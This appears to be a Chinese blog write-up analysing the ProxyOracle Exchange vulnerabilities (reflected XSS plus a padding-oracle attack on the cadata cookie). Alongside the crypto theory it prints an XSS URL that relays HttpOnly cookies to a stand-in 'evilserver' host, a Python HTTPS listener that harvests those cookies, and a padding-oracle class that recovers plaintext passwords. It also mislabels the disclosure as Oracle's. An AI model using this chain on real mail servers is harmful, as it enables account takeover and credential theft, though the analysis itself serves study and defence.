ProxyOracle漏洞分析
NO.1 前言
2021年8月份,oracle又公開了代理漏洞ProxyOracle、ProxyShell。本文則分析ProxyOracle具體的一些攻擊細節。
NO.2 漏洞分析
ProxyOracle包含兩個漏洞:
· CVE-2021-31195 - 反射型XSS
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
· CVE-2021-31196 - 對Exchange Cookie的Padding Oracle 攻擊
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196
漏洞利用鏈:攻擊者構造惡意鏈接發送郵件給受害者并引誘受害者點擊,受害者點擊惡意鏈接后觸發XSS漏洞將用戶的Cookie發送至攻擊者指定的地址,攻擊者獲取到Cookie后使用Padding Oracle攻擊獲取受害者的明文賬號密碼。
獲取Exchange Cookie
通過ProxyLogon的學習可以知道,X-BEResource存在SSRF漏洞,但是在利用的時候存在一個缺陷,就是只能夠訪問FQDN地址,對于IP地址則請求無效。

但還有一個存在SSRF的字段。X-AnonResource-Backend; X-AnonResource可以請求任意地址,但只能夠請求HTTPS請求。

在看orange演示視頻時,他使用的監聽端口是HTTP 8080,難道還有另一個SSRF?
Padding Oracle攻擊
根據加解密時是否用同一組密鑰,可以分為對稱加密和非對稱加密。對稱加密中又存在流加密與分組加密兩種加密方法。
常見的對稱加密算法:DES,AES等,最常用的非對稱加密算法:RSA。
對稱加密中,常見的分組加密有六種工作模式(ECB、CBC、PCBC、CFB、OFB、CTR)。
在密碼學中,分組加密(英語:Block cipher),又稱分塊加密或塊密碼,是一種對稱密鑰算法對稱密鑰算法。它將明文分成多個等長的模塊(block),使用確定的算法和對稱密鑰對每組分別加密解密。
加密時可以使用多種填充規則,但最常見的填充方式之一是在PKCS#5標準中定義的規則。PCKS#5的填充方式為:明文的最后一個數據塊包含N個字節的填充數據(N取決于明文最后一塊的數據長度)。下圖是一些示例,展示了不同長度的單詞(FIG、BANANA、AVOCADO、PLANTAIN、PASSIONFRUIT)以及它們使用PKCS#5填充后的結果(每個數據塊為8字節長)。
每個字符串都會進行填充,至少一個,最多8個。
· 一個0x01(0x01)
· 兩個0x02(0x02,0x02)
· 三個0x03(0x03,0x03,0x03)
· 四個0x04(0x04,0x04,0x04,0x04)
· ......

在分組加密中,CBC模式是密碼分組鏈接模式。它的加解密工作流程如下:

· IV為一串與分塊大小相同的隨機值。除了第一塊是隨機生成的,后面的每一塊IV都是前一塊的密文
· Key為對稱加密密鑰
那么它的加密流程為:明文首先與IV進行異或,異或結果我們稱之為中間值,中間值再與Key進行對稱加密,這個結果就是密文,也是下一塊的IV。
解密流程:密文與Key密鑰進行解密得到中間值,中間值與IV進行異或便得到明文。
了解數據填充后,再說一下填充攻擊。Padding Oracle需要兩個必要條件:
· 密文的解密成功和失敗,會出現不一樣的響應結果
· 使用了CBC模式的加密模式
Padding Oracle攻擊原理其實與暴力破解類似。在暴力破解中,我們可以通過"密碼不正確"、"該用戶沒有訪問權限"來判斷暴力破解是否成功。
正常的程序流程應該為:程序將解密好的數據給后續的業務代碼進行分析,判斷該數據是否符合業務要求,比如說驗證Cookie是否正確或者驗證賬號密碼是否正確。這里其實有兩個判斷,第一個為判斷解密是否成功,第二個是解密后的數據是否符合要求。在Padding Oracle中我們不需要考慮解密后的數據是否符合要求,我們只需要利用解密是否成功的不同返回來判斷填充是否正確。
那么我們可以得到以下結論:
· 填充正確,解密正確,業務代碼通過,返回200
· 填充不正確,解密不正確,業務代碼不通過,返回500
· 填充正確,解密正確,業務代碼不通過,返回200或300或其他與填充正確不一樣的數據
Padding Oracle攻擊通過填充是否正確的返回值判斷是否解密成功,最終還原出明文。更詳細的攻擊就不過多說明。
反射型XSS攻擊
https://exchange/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//
根據orange所說的,使用ProxyLogon并添加我們惡意服務器的地址,Exchange就會成為我們的代理并發送受保護的 HttpOnly cookie。
https://Exchange/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`X-AnonResource-Backend=@evilserver:443/2.php~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//
NO.3 漏洞利用
Padding Oracle已經有成熟的攻擊腳本了,我們只需要處理判斷填充是否成功。由于SSRF只能發起HTTPS請求,所以需要器HTTPS服務進行監聽。
開啟HTTPS需要證書:
openssl x509 -req -days 1024 -in server.csr -signkey server.key -out server.crtopenssl req -newkey rsa:2048 -passout pass:123456 -keyout ca_rsa_private.pem -x509 -days 365 -out ca.crt -subj "/C=CN/ST=GD/L=SZ/O=COM/OU=NSP/CN=CA/emailAddress=youremail@qq.com"openssl req -newkey rsa:2048 -passout pass:server -keyout server_rsa_private.pem -out server.csr -subj "/C=CN/ST=GD/L=SZ/O=COM/OU=NSP/CN=SERVER/emailAddress=youremail@qq.com"openssl x509 -req -days 365 -in server.csr -CA ca.crt -CAkey ca_rsa_private.pem -passin pass:123456 -CAcreateserial -out server.crtopenssl rsa -in server_rsa_private.pem -out server_rsa_private.pem.unsecure
漏洞流程大致為:攻擊者發送構造好的釣魚郵件-->受害者點擊釣魚郵件-->觸發XSS漏洞并添加Cookie跳轉至攻擊者監聽的地址-->攻擊者收到Exchange Cookies-->進行Padding Oracle攻擊-->得到受害者明文
首先處理監聽,接收HTTPS消息:
obsoleteSSL_context = requests.packages.urllib3.util.ssl_.create_urllib3_context(ciphers=ciphers)obsoleteSSL_context.check_hostname=FalseobsoleteSSL_context.verify_mode=ssl.CERT_NONE
class ObsoleteHTTPSAdapter(HTTPAdapter): def init_poolmanager(self, connections, maxsize, block, **pool_kwargs): pool_kwargs['ssl_context'] = obsoleteSSL_context return super().init_poolmanager(connections, maxsize, block=block, **pool_kwargs)
class HttpServer(): def __init__(self): self.context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # 加載服務器所用證書和私鑰 self.context.load_cert_chain('server.crt', 'server_rsa_private.pem.unsecure')
# 監聽端口 print('Start monitoring 0.0.0.0:443......') with socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) as self.sock: self.sock.bind(('0.0.0.0', 443)) self.sock.listen(5) # 將socket打包成SSL socket,其主要工作是完成密鑰協商 self.ssock = self.context.wrap_socket(self.sock, server_side=True) def start(self): while True: conn, addr = self.ssock.accept() try: msg = conn.recv(1024*8) self.cookie = self.get_cookie(msg) return self.cookie conn.close() except Exception as e: conn.close() print(e) def get_cookie(self, msg): msg = msg.decode() msg_list = msg.split('\r\n') cookie_list = [] for msg in msg_list: if msg.startswith("Cookie:"): cookies = msg[len("Cookie:"):] cookie = cookies.split(';') return cookie
成功登陸郵箱后,將cadata、cadataTTL、cadataKey、cadataIV、cadataSig添加為cookie后發送到上面監聽的地址,接收到消息后傳入開源PaddingOracle爆破腳本解密:
# Exploit Code
class ProxyOracle(PaddingOracle): def __init__(self, **kwargs): super(ProxyOracle, self).__init__(**kwargs) self.session = requests.Session() if isObsoleteSSL: self.session.mount(exchange_host, ObsoleteHTTPSAdapter()) if useProxy: self.session.proxies = request_proxies self.cipherText = original_cookie
def test_validity(self, resp): if resp.status_code == 302: reason_data = resp.headers['Location'] respurl = urlparse(reason_data) if respurl.path == "/owa/auth/logon.aspx": respqs = parse_qs(respurl.query) try: status = int(respqs['reason'][0]) #print(status) if status == 2: #print("fail") return 2 # Credential Error, Invalid Account Password if status == 0: return 1 # Padding Oracle, Padding Not Correct except KeyError: return 3 # Unknown Error, cannot determine success or not. else: return 0 # No Problem, Successfully logged in. else: return 3 # Unknown Error, cannot determine success or not.
def oracle(self, data, **kwargs): # post-processing payload_data = base64.b64encode(data) # set correct cookie request_cookies['cadata'] = payload_data.decode() # asking for web resp = self.session.get(exchange_host + exchange_path, verify=False, allow_redirects=False, headers=request_headers, cookies=request_cookies) # check if plaintext is recovered chkstatus = self.test_validity(resp) if chkstatus == 2: #logging.info("[Triggered - Byte Found] Credential Error, Invalid Account Password") return elif chkstatus == 1: raise BadPaddingException elif chkstatus == 0: self.history.append(data) #logging.info("[Triggered - Byte Found] Padding Oracle Found: {} ", data) return else: #logging.error("Unknown Error, cannot determine success or not.") sys.exit(1)

NO.4 緩解措施
1.更新最新補丁
2.不輕易點擊未知文件或鏈接
NO.5 參考
https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
https://hosch3n.github.io/2021/08/23/ProxyOracle%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://hosch3n.github.io/2021/08/10/PaddingOracle%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86/
https://github.com/mpgn/Padding-oracle-attack
https://www.mi1k7ea.com/2020/09/17/%E6%B5%85%E6%9E%90CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB%E4%B8%8EPadding-Oracle-Attack/#%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86
https://github.com/mwielgoszewski/python-paddingoracle
http://blog.topsec.com.cn/padding-oracle%E5%8E%9F%E7%90%86%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90/
http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html